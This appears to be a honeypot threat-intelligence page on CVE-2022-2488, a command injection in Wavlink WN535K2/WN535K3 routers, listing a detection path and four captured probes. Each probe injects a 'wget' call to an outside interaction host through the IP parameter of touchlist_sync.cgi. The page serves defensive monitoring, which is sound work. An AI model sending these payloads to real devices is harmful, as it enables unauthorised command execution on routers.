CVE-2022-2488: Wavlink WN535K2/WN535K3 - OS Command Injection

HoneyLabs honeypots recorded 6 probes matching CVE-2022-2488 from 1 distinct source IP address in the last 7 days. Severity is rated critical.

Request paths that identify it

• /cgi-bin/touchlist_sync.cgi?IP=;wget+http://{{*}};

Addresses probing it

Networks it comes from

Where it comes from

Captured requests

• /cgi-bin/touchlist_sync.cgi?IP=;wget+http://db4er2lr4boq567j5g5g9r7rkbjh4j1sc.oast.site;
• /cgi-bin/touchlist_sync.cgi?IP=;wget+http://db817n5r4boisguf8240dgiegpsbdjsrb.oast.site;
• /cgi-bin/touchlist_sync.cgi?IP=;wget+http://db6ju85r4boqct66i8b0y6bn3jgshchn8.oast.me;
• /cgi-bin/touchlist_sync.cgi?IP=;wget+http://db55a55r4boh7qauocv0hpxz3zydpfsou.oast.pro;

HTTP client fingerprints

• b11cun040_00040013_608dab68